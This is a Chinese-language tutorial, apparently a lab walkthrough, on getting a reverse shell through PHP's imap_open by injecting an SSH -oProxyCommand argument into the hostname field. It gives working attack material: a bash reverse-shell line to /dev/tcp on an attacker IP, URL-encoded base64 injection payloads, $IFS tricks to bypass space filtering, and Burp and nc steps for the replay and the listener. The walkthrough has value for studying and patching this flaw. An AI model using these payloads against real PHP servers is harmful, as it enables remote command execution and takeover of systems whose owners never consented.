利用PHP imap反弹shell

imap为什么可以?

php imap扩展用于在PHP中执行邮件收发操作,它可以通过这种协议从邮件服务器上获取邮件的信息。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-o ProxyCommand来调用第三方命令,攻击者通过注入这个参数,最终将导致命令执行。

 

漏洞利用

该站点监听在8080,ip:8080即可。

利用PHP imap反弹shell_第1张图片

在这些框中随便输入参数,使用burpsuite抓包。发送到Repeater模块来修改hostname参数的值。在这里我们可以使用ProxyCommand参数执行命令。

 

ProxyCommand是什么?

ProxyCommand是一个指定用于连接服务器的命令。当我们执行以下这条命令时,可以发现即便我们没有建立与localhost的SSH连接,也会创建文件。

利用PHP imap反弹shell_第2张图片

至此就知道了可以通过-oProxyCommand参数来执行系统命令。

但是我们不能直接将上述命令直接转移到PHP脚本来代替imap_open服务器地址,因为在解析时它会将空格解释为分隔符和斜杠作为标志。但是我们可以使用\$IFS这个shell变量来替换空格符号或使用\t替换。还可以在bash中使用Ctrl + V热键和Tab键插入标签。要想绕过斜杠,也可以使用base64编码和相关命令对其进行解码。替换空格符的\t也可以换成$IFS$()

 

把要执行的命令进行base64编码

echo 'bash -i >& /dev/tcp/192.168.146.142/44440>&1' > /tmp/9ouu.sh

利用PHP imap反弹shell_第3张图片

注意:+ 与 = 需要转为url编码

x+-oProxyCommand%3Decho%09ZWNobyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNDIvNDQ0NCAwPiYxJyA%2BIC90bXAvOW91dS5zaA%3D%3D|base64%09-d|bash}

利用PHP imap反弹shell_第4张图片

这时,在靶机上是可以看到该文件写入成功的

利用PHP imap反弹shell_第5张图片

现在我们来运行这个脚本反弹shell。我在反弹的时候发现,如果直接把

bash /tmp/9ouu.sh 用base64编码来执行是不行的,这里把空格换成$IFS$(),也就是 bash$IFS$()/tmp/9ouu.sh 再进行base64编码。

利用PHP imap反弹shell_第6张图片

先在攻击机用nc开启监听,然后修改参数值,重放

x+-oProxyCommand%3Decho%09YmFzaCRJRlMkKCkvdG1wLzlvdXUuc2g=|base64%09-d|bash}

利用PHP imap反弹shell_第7张图片

回到攻击机,反弹shell成功

利用PHP imap反弹shell_第8张图片

微信公众号

你可能感兴趣的:(执行代码,黑科技)